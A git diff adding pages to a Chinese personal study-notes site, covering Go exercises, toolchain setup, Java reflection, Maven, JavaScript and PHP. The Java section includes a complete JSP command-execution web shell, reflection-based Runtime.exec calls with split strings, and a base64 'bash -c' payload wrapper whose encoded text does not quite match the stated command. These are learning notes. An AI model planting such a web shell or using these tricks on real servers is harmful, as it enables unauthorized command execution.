  • log.Fatal 函数用于在但因输出内容后, 退出应用程序

    相当于调用了 log.Printos.Exit(1) 两个函数, 通常用于处理无法回复的错误情况

    • log.Print 用于在标准错误输出 os.Stderr 上打印一条日志信息, 相当于调用了 fmt.FPrint(v ... interface[])

    其与 fmt.Printf(os.Stderr) 有如下区别

    • log.Print 会自动添加当前日期和时间作为前缀, 而后者不会
    • log.Print 会自动添加换行符作为后缀, 而后者不会
    • log.Print 可以从多个 goroutine 安全地调用, 而后者需要使用同步机制来避免竞争条件

    image-20230317004239769

    image-20230317005650011


练习 1.8 补充前缀

修改 fetch 这个范例,如果输入的 url 参数没有 http:// 前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix 这个函数。

/*
+练习 1.8
+修改fetch这个范例,如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀。
+你可能会用到strings.HasPrefix这个函数。
+*/
+package ch1
+
+import (
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+	"strings"
+)
+
+func PrintResponseBody_Copy_Prefix() {
+	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+		// 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+		if !strings.HasPrefix(url, "http://") {
+			url = "http://" + url
+			fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n", url)
+		}
+		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+			os.Exit(1)
+		}
+		defer resp.Body.Close() // 关闭响应体
+
+		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+		if err != nil {
+			log.Fatal(err)
+		}
+		fmt.Printf("Copied %d bytes \n", n)
+	}
+}
+
+

image-20230317010022530

  • strings.HasPrefix 函数用于判断一个字符串是否包含指定前缀, 如果包含则返回 true, 否则返回 false, 其使用方式为:

    strings.HasPrefix(s string, prefix string) bool
    +

    其中 s 为需要判断的字符串, prefix 为要检查的前缀


练习 1.9 输出状态码

修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status 变量得到该状态码。

/*
+练习 1.9
+修改 fetch 打印出HTTP协议的状态码,可以从 resp.Status 变量得到该状态码。
+*/
+package ch1
+
+import (
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+	"strings"
+)
+
+func PrintResponseBody_Copy_Prefix_Status() {
+	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+		// 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+		if !strings.HasPrefix(url, "http://") {
+			url = "http://" + url
+			fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n", url)
+		}
+		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+			os.Exit(1)
+		}
+		defer resp.Body.Close() // 关闭响应体
+
+		// 打印HTTP协议的状态码
+		fmt.Printf("HTTP协议的状态码: %s", resp.Status)
+
+		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+		if err != nil {
+			log.Fatal(err)
+		}
+		fmt.Printf("Copied %d bytes \n", n)
+	}
+}
+
+

image-20230317010910303

  • resp.Statusresp.Body 不同, 它只是一个字符串, 并非可关闭的资源, 因此不用像后者一样需要考虑关闭以避免资源泄露

CH2 程序结构


CH2.1 命名

Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。

大写字母和小写字母是不同的:heapSortHeapsort 是两个不同的名字。

+ + + diff --git a/Language/Go/index.html b/Language/Go/index.html new file mode 100644 index 0000000000..88ffda6fe4 --- /dev/null +++ b/Language/Go/index.html @@ -0,0 +1,72 @@ + + + + + + + + Go | DailyNotes + + + + + + +
跳至主要內容

Go

大约 4 分钟

Go


参考书籍



开发环境配置

安装

Download and install - The Go Programming Languageopen in new window


可在 Downloads - The Go Programming Language (google.cn)open in new window 获取不同系统的 Go 安装包

  • 拉取官网最新的 stable release

    wget https://golang.google.cn/dl/go1.19.3.linux-amd64.tar.gz
    +
  • 解压到 /usr/local/go

    sudo tar -C /usr/local -xzf go1.19.3.linux-amd64.tar.gz
    +

    如果之前安装了其他版本的 go 那么可以备份后先移除该版本目录再运行上面的命令

    # 可以先看看有没有
    +ls /usr/local | grep go
    +
    +# 如果有的话可以删除
    +sudo rm -rf /usr/local/go2
    +
  • 编辑 ~/.bashrc, 在文件尾添加

    export PATH=$PATH:/usr/local/go/bin
    +

    如果之前还添加了其他 PATH 变量的话使用 : 间隔开即可

    添加完环境变量后若想立即生效则需要重启计算机或者执行下面的 shell 命令

    source ~/.profile
    +
  • 验证

    go version
    +

    image-20221110011243044


代理

goproxy.cn/README.zh-CN.md at master · goproxy/goproxy.cn (github.com)open in new window

由于中国政府的网络监管系统,Go 生态系统中有着许多中国 Gopher 们无法获取的模块,比如最著名的 golang.org/x/...。并且在中国大陆从 GitHub 获取模块的速度也有点慢。因此,我们创建了 Goproxy.cn,使在中国的 Gopher 们能更好地使用 Go 模块。事实上,由于 Goproxy.cn 已在全球范围内通过 CDN 加速,所以你可以在任何地方使用它。


在终端中执行:

go env -w GO111MODULE=on
+go env -w GOPROXY=https://goproxy.cn,direct
+

VSCode 配置

配置 Visual Studio Code for Go 开发 | Microsoft Learnopen in new window


安装 Go 扩展

image-20221111001128293


更新 Go 工具

如果没有合适的科技手段的话那就先加个 Go 模块代理

设置完后记得退出并重开 VSCode 加载环境变量


Ctrl+Shift+P 打开命令面板, 然后输入

Go: Install/Update tools
+

image-20221111001341882

单击进入该命令的提示项, 全选并确定, 之后会运行安装

image-20221111001322348

image-20221111002439729

悲ಥ_ಥ, 全装 C 盘去了, 不过还好 C 盘分配的空间比较多且性能相对好些, 就放这里了

  • gotests: 可以根据源文件的函数和方法签名自动生成表格驱动测试
  • gomodifytags: 可以修改结构体的标签
  • impl: 可以生成接口的实现
  • goplay: 可以在浏览器中运行Go代码片段
  • dlv: 是一个Go语言的调试器
  • staticcheck: 是一个静态分析工具,可以检查代码中的错误和不良风格
  • gopls: 是官方开发的Go语言服务器,可以提供智能提示、代码导航、代码编辑和诊断等功能。

创建一个新文件夹并使用 VSCode 打开此文件夹, 在终端运行如下命令初始化 Go 应用

# go mod init [应用名], 例如:
+go mod init GoLearning
+

image-20221111003208612

image-20221111003240428


在当前文件夹根目录创建一个 main.go

package main
+
+import "fmt"
+
+func main() {
+    name := "Go Developers"
+    fmt.Println("Azure for", name)
+}
+

可以在 line 7 打个断点, 然后 F5 运行下程序, 鼠标悬停在 name 上即可看到此时变量 name 的值

image-20221111003534890

继续运行可以看到如是输出

image-20221111003609799


问题整理

go get 已弃用

Golang弃用go get工具 - 简书 (jianshu.com)open in new window

Deprecation of 'go get' for installing executables - The Go Programming Languageopen in new window


'go get' is no longer supported outside a module.
+        To build and install a command, use 'go install' with a version,
+        like 'go install example.com/cmd@latest'
+        For more information, see https://golang.org/doc/go-get-install-deprecation
+        or run 'go help get' or 'go help install'.
+

go get 在 g.mod 中同时用于更新依赖和安装命令。这种组合很混乱,使用起来也很不方便,因为开发人员不想同时进行更新和安装。

1.17.1 及其后版本不再支持 go get 命令

如果要在当前模块的上下文中安装可执行文件时,使用 go install 不带版本后缀

go install example.com/cmd
+

这个命令适用于安装当前目录或父目录中go.mod定义的版本要求和其他命令。


要安装可执行文件同时忽略当前模块go.mod,使用go install带上版本后缀例如

go install example.com/cmd@latest
+
+ + + diff --git a/Language/Java/Java.html b/Language/Java/Java.html new file mode 100644 index 0000000000..52683c5fd8 --- /dev/null +++ b/Language/Java/Java.html @@ -0,0 +1,168 @@ + + + + + + + + Java | DailyNotes + + + + + + +
跳至主要內容

Java

大约 6 分钟

Java

Java 环境配置

安装 jdk

安装完后需要配置环境变量

JAVA_HOME
+jdk安装目录
+
CLASSPATH
+.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
+
Path
+%JAVA_HOME%\bin
+%JAVA_HOME%\jre\bin
+

配完后

java
+javac
+

看下有正常回显即可



IDEA

ubuntu 安装 IDEA

直接远程连接安装即可

image-20220923185210262


Tomcat

Apache Tomcat® - Apache Tomcat 8 Software Downloads --- Apache Tomcat® - Apache Tomcat 8 软件下载open in new window

image-20230613111231319

Windows 下直接下 Installer 版本即可

image-20230613111315190

安装时会默认 Server Shutdown Port -1, 意味着关闭了监听 shutdown 命令的端口, 后续启停可以在 Windows 服务(services.msc)中进行操作


Java 反射

Java 反射详解 - YSOcean - 博客园 (cnblogs.com)open in new window


Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。而这也是Java被视为(准)动态语言的一个关键性质

为啥要说是准动态,因为一般而言的动态语言定义是程序运行时,允许改变程序结构或变量类型,这种语言称为动态语言。从这个观点看,Perl,Python,Ruby是动态语言,C++,Java,C#不是动态语言。

反射机制允许程序在运行时取得任何一个已知名称的class的内部信息,包括包括其modifiers(修饰符),fields(属性),methods(方法)等,并可于运行时改变fields内容或调用methods。那么我们便可以更灵活的编写代码,代码可以在运行时装配,无需在组件之间进行源代码链接,降低代码的耦合度;还有动态代理的实现等等;

但是需要注意的是反射使用不当会造成很高的资源消耗!


得到 Class 的三种方式

比如新建一个 Person 类

package reflect;
+
+public class Person {
+    private String name = "Jacob";
+    public int age = 20;
+    public Person(){
+        System.out.println("Person()");
+    }
+    private void say(){
+        System.out.println("Hello World!");
+    }
+    public void work(){
+        System.out.println("I'm working!");
+    }
+}
+
+

image-20221207152138868

现在要在其他类中获取一个 Person 对象的 class 可以使用如下三种方式:

package reflect;
+
+public class reflect {
+    // 1. 通过对象调用 getClass() 方法获取 Person 的 Class;
+    // 通常用于传入一个 Object 对象, 但是不知道具体是什么类, 通过 getClass() 方法获取 Class 对象;
+    public void by_getClass() {
+        System.out.println("1. 通过对象调用 getClass() 方法获取 Person 的 Class;");
+        Person person1 = new Person();
+        Class c1 = person1.getClass();
+        System.out.println(c1.getName());
+    }
+
+    // 2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高
+    // 这说明每个类都有一个隐含的静态成员变量 class
+    public void by_class() {
+        System.out.println("2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高");
+        Class c2 = Person.class;
+        System.out.println(c2.getName());
+    }
+
+    // 3.通过 Class 类的静态方法 forName(String className) 得到
+    // 该方法将类的全名(包括包名)作为参数,返回对应的 Class 对象
+    // 用的最多, 但可能抛出 ClassNotFoundException 异常
+    public void by_forName() throws ClassNotFoundException {
+        System.out.println("3.通过 Class 类的静态方法 forName(String className) 得到");
+        Class c3 = Class.forName("reflect.Person");
+        System.out.println(c3.getName());
+    }
+
+}
+
+
import reflect.reflect;
+
+public class test {
+    public static void main(String[] args) {
+        System.out.println("Hello World!");
+        reflect r = new reflect();
+        r.by_getClass();
+        r.by_class();
+        try {
+            r.by_forName();
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        }
+    }
+}
+

image-20221207155641124


命令执行

正常写法

java.lang.Runtime.getRuntime().exec("calc");
+

反射写法:

try {
+    Class<?> cls = Class.forName("java.lang.Runtime");
+    Method method = cls.getMethod("getRuntime");
+    Runtime runtime = (Runtime) method.invoke(null);
+    runtime.exec("calc");
+} catch (Exception e) {
+    e.printStackTrace();
+}
+
  • line3Method 指的是 java.lang.reflect.Method 类, 在 Java 中,java.lang.reflect.Method 类提供了关于类或接口上单个方法的信息和访问权限。可以使用 java.lang.reflect.Method 类的实例来获取方法的信息(如返回类型、参数类型、访问修饰符等)或者对它进行调用。
  • line3getMethod 方法被用来获取名为 getRuntime 的方法(这是 java.lang.Runtime 类的一个静态方法)。然后,invoke 方法被用来调用这个获取到的方法。
  • 因为 getRuntime 是一个无参数的方法,所以 invoke 方法被调用时只传入了一个 null 参数,这个 null 参数表示当前正在调用的是一个不需要实例对象的方法(即静态方法)。

将反射写法写为一行:

((Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)).exec("calc");
+

需要注意的是 Class.getMethod 的返回类型是 java.lang.reflect.Method,而 Method.invoke() 的返回类型是 java.lang.Object

因此,当你试图在返回的 Object 类型上调用 exec 方法时,编译器无法找到 exec 方法,因为 java.lang.Object 类没有定义 exec 方法。

所以这里用的 (Runtime) 来将 invoke 的返回值强制类型转换为 Runtime 类型,因为 execRuntime 类的方法


不加强制类型转换的话可以这样写:

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
+        Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
+        "calc"
+);
+

首先获取 exec 方法的 Method 对象,然后再调用 invoke 方法,其第一个参数传递了 exec 方法的调用者(Runtime 对象),第二个参数传递了 exec 方法的参数(calc)。

或者通过 String对象.getClass() 来获取 Class 也可以:

"va".getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
+        "va".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
+        "calc"
+);
+

以及这里的字符串是可以拆分再拼接的, 下面这种写法也是可以正确执行的:

Class.forName("java"+".lang.Runtime").getMethod("exec", String.class).invoke(
+        Class.forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),
+        "calc"
+);
+
"va".getClass().forName("java.lan"+"g.Runtime").getMethod("exec", String.class).invoke(
+        "va".getClass().forName("java.l"+"ang.Runtime").getMethod("getRuntime").invoke(null),
+        "calc"
+);`
+

+ + + diff --git a/Language/Java/JavaWeb.html b/Language/Java/JavaWeb.html new file mode 100644 index 0000000000..1907a2ee12 --- /dev/null +++ b/Language/Java/JavaWeb.html @@ -0,0 +1,109 @@ + + + + + + + + Java Web | DailyNotes + + + + + + +
跳至主要內容

Java Web

大约 2 分钟

Java Web


Maven

Maven配置教程_霍英俊-CSDN博客_maven配置open in new window

下载与配置

Maven – Download Apache Mavenopen in new window 下载

image-20220101153104101

解压到某个文件夹

image-20220101153336808

配置 Maven 环境变量

image-20220101153540046

编辑 PATH 变量

image-20220101153734649

验证配置: mvn -v

image-20220101154317795

修改 Maven 配置 C:\Programming\Java\apache-maven-3.8.4\conf\settings.xml

修改本地仓库位置:

image-20220101154858114

修改 maven 默认的 JDK 版本

image-20220101155951312

    <profile>     
+        <id>JDK-1.8</id>       
+        <activation>       
+            <activeByDefault>true</activeByDefault>       
+            <jdk>1.8</jdk>       
+        </activation>       
+        <properties>       
+            <maven.compiler.source>1.8</maven.compiler.source>       
+            <maven.compiler.target>1.8</maven.compiler.target>       
+            <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>       
+        </properties>       
+    </profile>
+

添加国内镜像源

<!-- 阿里云仓库 -->
+<mirror>
+    <id>alimaven</id>
+    <mirrorOf>central</mirrorOf>
+    <name>aliyun maven</name>
+    <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
+</mirror>
+
+<!-- 中央仓库1 -->
+<mirror>
+    <id>repo1</id>
+    <mirrorOf>central</mirrorOf>
+    <name>Human Readable Name for this Mirror.</name>
+    <url>http://repo1.maven.org/maven2/</url>
+</mirror>
+
+<!-- 中央仓库2 -->
+<mirror>
+    <id>repo2</id>
+    <mirrorOf>central</mirrorOf>
+    <name>Human Readable Name for this Mirror.</name>
+    <url>http://repo2.maven.org/maven2/</url>
+</mirror>
+
+

image-20220101160226738


JSP

JSP(Java Server Pages)是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。

JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分


JSP 马

<%@ page import="java.util.*,java.io.*"%>
+<%%>
+<HTML><BODY>
+Commands with JSP
+<FORM METHOD="GET" NAME="myform" ACTION="">
+<INPUT TYPE="text" NAME="cmd">
+<INPUT TYPE="submit" VALUE="Send">
+</FORM>
+<pre>
+<%
+    if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "<BR>");
+        Process p;
+        if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
+            p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
+        }
+        else{
+                p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+            }
+        OutputStream os = p.getOutputStream();
+        InputStream in = p.getInputStream();
+        DataInputStream dis = new DataInputStream(in);
+        String disr = dis.readLine();
+        while ( disr != null ) {
+        out.println(disr);
+        disr = dis.readLine();
+        }
+    }
+%>
+</pre>
+</BODY></HTML>
+

Runtime.getRuntime().exec踩坑总结open in new window

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)open in new window

偶尔有时命令执行有效负载Runtime.getRuntime().exec()失败. 使用 web shells, 反序列化漏洞或其他向量时可能会发生这种情况.

有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义. 例如 ls > dir_listing 在shell中执行应该将当前目录的列表输出到名为的文件中 dir_listing. 但是在 exec() 函数的上下文中,该命令将被解释为获取 >dir_listing 目录.

其他时候,其中包含空格的参数会被StringTokenizer类破坏.该类将空格分割为命令字符串. 那样的东西 ls "My Directory" 会被解释为 ls '"My' 'Directory"'.

在Base64编码的帮助下, 可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格.

比如将 bash 命令

cat /etc/passwd
+

转换为:

bash -c {echo,Y2F0IC9lcnR0Yy9wYXNzd2Q=}|{base64,-d}|{bash,-i}
+

+ + + diff --git "a/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html" "b/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html" new file mode 100644 index 0000000000..f514cbd045 --- /dev/null +++ "b/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html" @@ -0,0 +1,54 @@ + + + + + + + + Java 代码审计 | DailyNotes + + + + + + +
跳至主要內容

Java 代码审计

大约 6 分钟

Java 代码审计


Java 本地调试和远程调试技巧(IDEA)

VSCode 也可以远程调试 Java, 打算等在 IDEA 上玩熟练后再转 VSCode 试试


告别脚本小子系列丨JAVA安全(1)——JAVA本地调试和远程调试技巧 (qq.com)open in new window


Java编写的项目一般较复杂,而且通常会引用大量第三方jar包。如果直接看代码逻辑会是一件很痛苦的事情,学会调试是开始java安全的必备技能。


本地调试

image-20221017144824417

  • 打断点: 可以通过打断点来调试程序, IDEA 提供了不少断点调试按键, 如

    • F7:步入,如果当前行有方法调用,会进入方法内部,否则继续下一行执行。不能进入官方类库的方法。
    • F8:步过,一行一行执行代码,如果当前行有方法调用,不会进行方法内部。
    • Alt + Shift + F7:强制步入,能进去任何方法,和F7的区别是能步入官方类库的方法
    • Shift + F8:步出,从步入的方法内退出到方法外面,此时方法已经执行完毕。

    查看当前断点信息:

    • 对于大型的项目,很多时候我们会下很多断点,但是自己都会忘记在哪个文件还打了断点的,这时候通过断点管理的功能就可以很方便的对断点进行管理。
    • 另外这个位置还提供了异常断点的功能,异常断点是断点调试中的重要调试技巧之一。如果我们不确定程序的运行逻辑,但是知道程序一定会暴异常,这时候就可以通过异常断点来查看程序的运行逻辑。通过搜索异常名称就可以在对应异常位置下断点了

    image-20221017150806985

  • 运行即时表达式: 即时表达式是java调试中的重要工具,能帮助我们查看当前环境中变量值,查看线程信息,判断程序中的对比条件。

    image-20221017150418543

    image-20221017150609452

  • 查看当前的栈调用信息: 栈调用是非常重要的调试信息,通常栈调用过程就是程序运行时的逻辑顺序,对java漏洞调试非常重要。

    image-20221017151551454

    image-20221017151613224

  • 当前变量信息: 显示程序执行到当前位置时环境中的变量信息

    image-20221017151912226


远程调试

多数情况下,我们进行代码审计或者漏洞复现,都是把靶机环境装在虚拟机中,然后通过远程调试的方式来对系统进行利用。要让服务器支持远程调试,必须在启动的时候增加KVM参数,如下所示。

-Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555
+
  • Xdebug: 启动调试,需要与 -Xrunjdwp 一起配合实现完整的调试模式。

  • Xrunjdwp: 代表本次远程调试的参数设置。

    • transport:指定远程调试的协议,一般使用的是 dt_socket,其他还有 dt_shmem 等。

    • suspend: 代表是否在调试客户端建立起来之后才运行 KVM

      一般选择 n。这样调试程序不会影响主程序的运行。

    • server: 代表是否支持在 server 模式的 VM 中运行调试模式。

    • address:代表远程调试监听的端口 [host]:[port]

      这里的 host 字段支持省略的写法,但是我们不建议省略 host 字段。

      刚开始进行远程调试时如果发现客户端连不上服务端远程调试的端口,就要检查服务端端口是否监听在 127.0.0.1 这样的本机地址,如果监听在本机地址,是不允许远程连接的。

而 KVM 参数需要写在哪里, 对于不同服务器远程调试的参数写的位置不一样

  • 如果是打包独立运行的 SpringBoot 的 jar 包,那么可以直接在命令行中增加远程调试的参数。

    java -jar -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555   Test.jar
    +
  • 如果是 Tomcat 服务器,则可以直接修改 bin/catalina.bat 文件。在文件最前面增加远程调试的参数,如下所示。

    img


上面开启了服务端远程调试的端口之后,下一步就需要客户端连接远程服务器进行调试。

为了保证远程调试的准确性,需要客户端拥有和服务端完全一样的源代码(这很重要,一定要完全一样),所以最好直接把服务端整个源码拷贝一份到客户端idea中进行调试。 使用idea本地打开拷贝的服务端源码,并且把所有的 jar 包加入 library。然后新增一个 configuration,选择 Remote JVM Debug,填写开启的远程调试服务器 ip 和端口。

img

然后点击debug按钮,可以看到下面的成功连接到远程服务器的信息,代表远程连接建立成功。后续就可以像本地调试一样对远程项目进行调试了。

img



附录

所有四级标题单独提出来


IDEA 远程调试 Java 项目举例 - CVE-2018-2894 远程调试(寄/TODO: 等看完 Docker 再来试试)

CVE-2018-2894 使用的镜像与 CVE-2020-14882 相同

编辑 doker-compose.yml 文件, 将打算用于远程调试的端口映射上

比如这里将 5555 端口用于远程调试

version: '2'
+services:
+ weblogic:
+   image: vulhub/weblogic:12.2.1.3-2018
+   ports:
+    - "7001:7001"
+    - "5555:5555"
+

然后启动容器

docker-compose up -d
+

image-20221017154838944

然后进入容器编辑配置文件

image-20221017155143287

image-20221017154953038

image-20221017155226548

可以看到 line 48 通过运行 jar 包启动了服务, 修改 line 48 加上调试参数

cd /u01 && curl -o /u01/fmw_12.2.1.3.0_wls_quick.jar http://ca-docker-stage.us.oracle.com/middleware/weblogic/fmw_12.2.1.3.0_wls_quick.jar && \
+$JAVA_HOME/bin/java -jar -Xdebug -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=0.0.0.0:5555  /u01/fmw_12.2.1.3.0_wls_quick.jar -invPtrLoc /u01/oraInst.loc -jreLoc $JAVA_HOME -ignoreSysPrereqs -force -novalidation ORACLE_HOME=$ORACLE_HOME && \
+rm /u01/fmw_12.2.1.3.0_wls_quick.jar /u01/oraInst.loc /u01/install.file
+

image-20221017155601083

然后重启容器

docker restart [container_id]
+

image-20221017155902491

+ + + diff --git a/Language/Java/index.html b/Language/Java/index.html new file mode 100644 index 0000000000..897a780aed --- /dev/null +++ b/Language/Java/index.html @@ -0,0 +1,40 @@ + + + + + + + + Java | DailyNotes + + + + + + +
跳至主要內容

Java

小于 1 分钟

+ + + diff --git a/Language/JavaScript/JavaScript.html b/Language/JavaScript/JavaScript.html new file mode 100644 index 0000000000..b290e8f63f --- /dev/null +++ b/Language/JavaScript/JavaScript.html @@ -0,0 +1,118 @@ + + + + + + + + JavaScript | DailyNotes + + + + + + +
跳至主要內容

JavaScript

大约 4 分钟

JavaScript


  • toLocaleString()
    • toLocaleString() 方法可根据本地时间把 Date 对象转换为字符串,并返回结果。
    • 以将数字变成千分位格式

Using Javascript Kernel in Vscode Jupyter Notebooks (tomche.space)open in new window

JavaScript toLocaleString() 方法 | 菜鸟教程 (runoob.com)open in new window


JavaScript 类 (w3school.com.cn)open in new window

class Item {
+    constructor(value, displayProperty) {
+        this.value = value;
+        this.displayProperty = displayProperty;
+    }
+}
+

实例化:

let item2 = new Item(2, '兼职');
+

Axios

Axios是什么?用在什么场景?如何使用? - 知乎 (zhihu.com)open in new window

Axios 是一个基于 promise 的 HTTP 库,简单的讲就是可以发送get、post请求。

前几年Jquery比较火的时候,大家都在用他。但是由于Vue、React等框架的出现,Jquery也不是那么吃香了。也正是Vue、React等框架的出现,促使了Axios轻量级库的出现,因为Vue等,不需要操作Dom,所以不需要引入Jquery.js了。


特性

1、可以在浏览器中发送 XMLHttpRequests 2、可以在 node.js 发送 http 请求 3、支持 Promise API 4、拦截请求和响应 5、转换请求数据和响应数据 6、能够取消请求 7、自动转换 JSON 数据 8、客户端支持保护安全免受 XSRF 攻击


应用场景

浏览器发送请求,或者Node.js发送请求都可以用到Axios。

像Vue、React、Node等项目就可以使用Axios

如果你的项目里面用了Jquery,此时就不需要多此一举了,jquery里面本身就可以发送请求。


使用

安装模块

npm install axios
+

或者直接引入:

<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
+

引入模块后可以直接使用

// GET
+axios.get('/user', {
+  params: {
+    ID: 12345
+  }
+})
+.then(function (response) {
+  console.log(response);
+})
+.catch(function (error) {
+  console.log(error);
+});
+
+// POST
+axios.post('/user', {
+  name: 'Javan',
+  website: 'www.javanx.cn'
+})
+.then(function (response) {
+  console.log(response);
+})
+.catch(function (error) {
+  console.log(error);
+});
+

上面的参数是可选的

并发多个请求,可以这样写:

function getUserAccount() {
+  return axios.get('/user/12345');
+}
+
+function getUserPermissions() {
+  return axios.get('/user/12345/permissions');
+}
+
+axios.all([getUserAccount(), getUserPermissions()])
+  .then(axios.spread(function (acct, perms) {
+    // 两个请求都执行完成才会执行
+  }));
+

Web API 接口

Window

Window.localStorage

Window.localStorage - Web API 接口参考 | MDN (mozilla.org)open in new window

只读的localStorage 属性允许你访问一个Documentopen in new window 源(origin)的对象 Storageopen in new window;存储的数据将保存在浏览器会话中。localStorage 类似 sessionStorageopen in new window,但其区别在于:存储在 localStorage 的数据可以长期保留;而当页面会话结束——也就是说,当页面被关闭时,存储在 sessionStorage 的数据会被清除 。

应注意,无论数据存储在 localStorage 还是 sessionStorage它们都特定于页面的协议。

另外,localStorage 中的键值对总是以字符串的形式存储。 (需要注意, 和js对象相比, 键值对总是以字符串的形式存储意味着数值类型会自动转化为字符串类型).

示例

访问了当前域名下的本地 Storageopen in new window 对象,并通过 Storage.setItem()open in new window 增加一个数据项目:

localStorage.setItem('myCat', 'Tom');
+

读取 localStorage 项:

let cat = localStorage.getItem('myCat');
+

移除 localStorage 项:

localStorage.removeItem('myCat');
+

移除所有的 localStorage 项:

// 移除所有
+localStorage.clear();
+


动画/动效

sliderland

blinry/sliderland: A (very) minimalist creative coding playground. Make animations using only 64 HTML sliders! (github.com)open in new window

Sliderland (blinry.org)open in new window

image-20220523093011957


模拟键盘输入

javascript 模拟按键事件 触发输入框oninput事件_谢泽的网络日志的博客-CSDN博客_js模拟输入数字到inputopen in new window

对于被框架劫持setter事件可以使用如下方式录入数据

function changeReactInputValue(inputDom,newText){
+    let lastValue = inputDom.value;
+    inputDom.value = newText;
+    let event = new Event('input', { bubbles: true });
+    event.simulated = true;
+    let tracker = inputDom._valueTracker;
+    if (tracker) {
+        tracker.setValue(lastValue);
+    }
+    inputDom.dispatchEvent(event);
+}
+
+let userIdDom = document.getElementById('userName');		//普通JS获取输入框Dom
+let passwdDom = document.getElementById('password');		//普通JS获取输入框Dom
+
+changeReactInputValue(userIdDom,'username');			//改变React的输入框的值
+changeReactInputValue(passwdDom,'passwd');			//改变React的输入框的值
+

IIFE(立即调用函数表达式)

IIFE - MDN Web Docs Glossary: Definitions of Web-related terms | MDN (mozilla.org)open in new window

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScriptopen in new window 函数open in new window

(function () {
+  // …
+})();
+
+(() => {
+  // …
+})();
+
+(async () => {
+  // …
+})();
+

image-20230214145357266

这是一个被称为 自执行匿名函数open in new window 的设计模式,主要包含两部分。第一部分是包围在 圆括号运算符open in new window () 里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。

第二部分再一次使用 () 创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。


+ + + diff --git a/Language/JavaScript/index.html b/Language/JavaScript/index.html new file mode 100644 index 0000000000..a0030cfa76 --- /dev/null +++ b/Language/JavaScript/index.html @@ -0,0 +1,40 @@ + + + + + + + + Java Script | DailyNotes + + + + + + +
跳至主要內容

Java Script

小于 1 分钟

+ + + diff --git "a/Language/PHP/PHP\345\255\246\344\271\240.html" "b/Language/PHP/PHP\345\255\246\344\271\240.html" new file mode 100644 index 0000000000..1b52da4827 --- /dev/null +++ "b/Language/PHP/PHP\345\255\246\344\271\240.html" @@ -0,0 +1,56 @@ + + + + + + + + PHP 学习 | DailyNotes + + + + + + +
跳至主要內容

PHP 学习

大约 3 分钟

PHP 学习


概述

PHP 教程 (w3school.com.cn)open in new window
PHP 参考手册open in new window
PHP 测验open in new window

PHP 是一种创建动态交互性站点的强有力的服务器端脚本语言


安装与调试

[如何在VSCode配置PHP开发环境(详细版)通俗易懂] - 腾讯云开发者社区-腾讯云 (tencent.com)open in new window



下载 XAMPP

XAMPP 是一个把 Apache网页服务器与 PHP, Perl 及 MariaDB 合在一起的安装包, 允许用户在自己的电脑上轻易的创建网页服务器

XAMPP 的名称来自以下组合

  • X(支持跨平台)
  • Apache
  • MySQL 或 MariaDB
  • PHP
  • Perl

Perl 是一种 CGI 脚本语言

CGI 目前由 NCSA 维护,NCSA 定义 CGI 如下:

CGI(Common Gateway Interface),通用网关接口,它是一段程序,运行在服务器上如:HTTP服务器,提供同客户端 HTML 页面的接口。


